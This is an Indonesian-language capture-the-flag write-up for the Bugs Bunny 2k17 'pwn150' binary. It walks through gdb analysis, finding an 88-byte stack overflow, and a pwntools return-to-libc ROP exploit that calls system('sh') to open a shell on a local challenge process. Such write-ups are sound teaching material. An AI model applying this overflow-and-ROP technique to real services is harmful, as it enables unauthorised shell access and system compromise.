Bugs Bunny 2k17 CTF - Pwn150
Diberikan file ELF binary bernama pwn150
64-Bit yang harus dibuatkan exploit nya agar bisa mendapatkan flag.
➜ file pwn150
pwn150: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dc1ada44067255e5211fafc5133679404b54f110, not stripped
Elf binary tersebut diproteksi NX (No-eXecute)
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Karena NX enabled, saya berasumsi untuk mengeksploitnya menggunakan teknik Return-to-libc
.
Menggunakan gdb
diketahui terdapat 3 user defined function yaitu main
, today
dan Hello
.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x0000000000400598 _init
0x00000000004005d0 puts@plt
0x00000000004005e0 system@plt
0x00000000004005f0 printf@plt
0x0000000000400600 __libc_start_main@plt
0x0000000000400610 fgets@plt
0x0000000000400620 fflush@plt
0x0000000000400630 fopen@plt
0x0000000000400640 fwrite@plt
0x0000000000400660 _start
0x0000000000400690 deregister_tm_clones
0x00000000004006d0 register_tm_clones
0x0000000000400710 __do_global_dtors_aux
0x0000000000400730 frame_dummy
0x0000000000400756 today
0x0000000000400767 Hello
0x00000000004007f4 main
0x0000000000400820 __libc_csu_init
0x0000000000400890 __libc_csu_fini
0x0000000000400894 _fini
Hasil disassembly fungsi today
gdb-peda$ pdisass today
Dump of assembler code for function today:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x4008a8
0x000000000040075f <+9>: call 0x4005e0 <system@plt>
0x0000000000400764 <+14>: nop
0x0000000000400765 <+15>: pop rbp
0x0000000000400766 <+16>: ret
End of assembler dump.
Terdapat pemanggilan fungsi system
dengan argument /bin/date
gdb-peda$ x/s 0x4008a8
0x4008a8: "/bin/date"
Hasil disassembly fungsi Hello
gdb-peda$ pdisass Hello
Dump of assembler code for function Hello:
0x0000000000400767 <+0>: push rbp
0x0000000000400768 <+1>: mov rbp,rsp
0x000000000040076b <+4>: sub rsp,0x50
0x000000000040076f <+8>: mov edi,0x4008b8
0x0000000000400774 <+13>: mov eax,0x0
0x0000000000400779 <+18>: call 0x4005f0 <printf@plt>
0x000000000040077e <+23>: mov rax,QWORD PTR [rip+0x2008eb] # 0x601070 <stdout@@GLIBC_2.2.5>
0x0000000000400785 <+30>: mov rdi,rax
0x0000000000400788 <+33>: call 0x400620 <fflush@plt>
0x000000000040078d <+38>: mov rdx,QWORD PTR [rip+0x2008ec] # 0x601080 <stdin@@GLIBC_2.2.5>
0x0000000000400794 <+45>: lea rax,[rbp-0x50]
0x0000000000400798 <+49>: mov esi,0xc0
0x000000000040079d <+54>: mov rdi,rax
0x00000000004007a0 <+57>: call 0x400610 <fgets@plt>
0x00000000004007a5 <+62>: mov esi,0x4008e1
0x00000000004007aa <+67>: mov edi,0x4008e3
0x00000000004007af <+72>: call 0x400630 <fopen@plt>
0x00000000004007b4 <+77>: mov QWORD PTR [rbp-0x8],rax
0x00000000004007b8 <+81>: cmp QWORD PTR [rbp-0x8],0x0
0x00000000004007bd <+86>: jne 0x4007d0 <Hello+105>
0x00000000004007bf <+88>: mov edi,0x4008f8
0x00000000004007c4 <+93>: call 0x4005d0 <puts@plt>
0x00000000004007c9 <+98>: mov eax,0x1
0x00000000004007ce <+103>: jmp 0x4007f2 <Hello+139>
0x00000000004007d0 <+105>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000004007d4 <+109>: lea rax,[rbp-0x50]
0x00000000004007d8 <+113>: mov rcx,rdx
0x00000000004007db <+116>: mov edx,0x1
0x00000000004007e0 <+121>: mov esi,0x40
0x00000000004007e5 <+126>: mov rdi,rax
0x00000000004007e8 <+129>: call 0x400640 <fwrite@plt>
0x00000000004007ed <+134>: mov eax,0x0
0x00000000004007f2 <+139>: leave
0x00000000004007f3 <+140>: ret
End of assembler dump.
fungsi fgets
digunakan untuk user input sebanyak 0xc0
bytes atau 192 bytes dalam desimal.
Selain itu, fungsi fopen
akan membuka file bernama bugsbunny.txt
dalam mode a
atau append
untuk menyimpan inputan user.
gdb-peda$ x/s 0x4008e1
0x4008e1: "a"
gdb-peda$ x/s 0x4008e3
0x4008e3: "bugsbunny.txt"
Setelah itu fungsi puts
akan mengeluarkan output So shorry cant talk to you now :(
gdb-peda$ x/s 0x4008f8
0x4008f8: "So shorry cant talk to you now :( "
Let’s OverFlow
Setelah dilakukan fuzzing, dibutuhkan 88 bytes untuk mengoverwrite register rip
.
percobaan dengan menginput kan 88 bytes huruf “A” + 4 bytes huruf “B” untuk memastikan nya kalau itu benar-benar 88 bytes untuk mengoverwrite rip
nya.
gdb-peda$ x/x $rip
0xa42424242: Cannot access memory at address 0xa42424242
Terlihat 0x42 adalah huruf ‘B’ dalam ascii.
Karena 64 bit elf binary menyimpan argument nya pada register yang mana masing-masing argument ke 1,2,3 dst (dan saya bingung wkwk) akan disimpan di rdi, rsi dan rcx
.
saya menggunakan online rop gadget search untuk mencari gadget pop rdi; ret
yang digunakan untuk memasukan argument ke rdi
.
Didapatkan gadget pop rdi; ret
berada didalamat 0x00400883
.
Setelah itu mencari alamat dari fungsi system
didapatkan 0x00000000004005e0
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
....
0x00000000004005e0 system@plt
....
Lalu mencari alamat dari sh
gdb-peda$ find "sh"
Searching for 'sh' in: None ranges
Found 100 results, display max 100 items:
pwn150 : 0x4003ef --> 0x6e65706f66006873 ('sh')
Tujuan kita adalah me spawning shell dengan fungsi system('sh')
karena binary tersebut di proteksi dengan NX jadi tidak bisa menggunakan shellcode.
Sehingga penyusunan payloadnya akan menjadi seperti berikut
junk + pop_rdi_ret_addr + sh_addr + system_addr
Atau implementasi menggunakan python.
junk = "A" * 88
sh_addr = p64(0x4003ef)
pop_rdi_ret_addr = p64(0x400883) # pop rdi; ret
system_addr = p64(0x00000000004005e0)
payload = junk + pop_rdi_ret_addr + sh_addr + system_addr
Berikut exploit code lengkap nya.
from pwn import *
context.arch = 'amd64'
print context.arch
r = process("/home/rhama/Downloads/pwn150")
junk = "A" * 88
sh_addr = p64(0x4003ef)
pop_rdi_ret_addr = p64(0x400883) # pop rdi; ret
system_addr = p64(0x00000000004005e0)
payload = junk + pop_rdi_ret_addr + sh_addr + system_addr
r.sendlineafter(": ",payload)
r.interactive()
Setelah code dieksekusi akan mendapat interactive shell.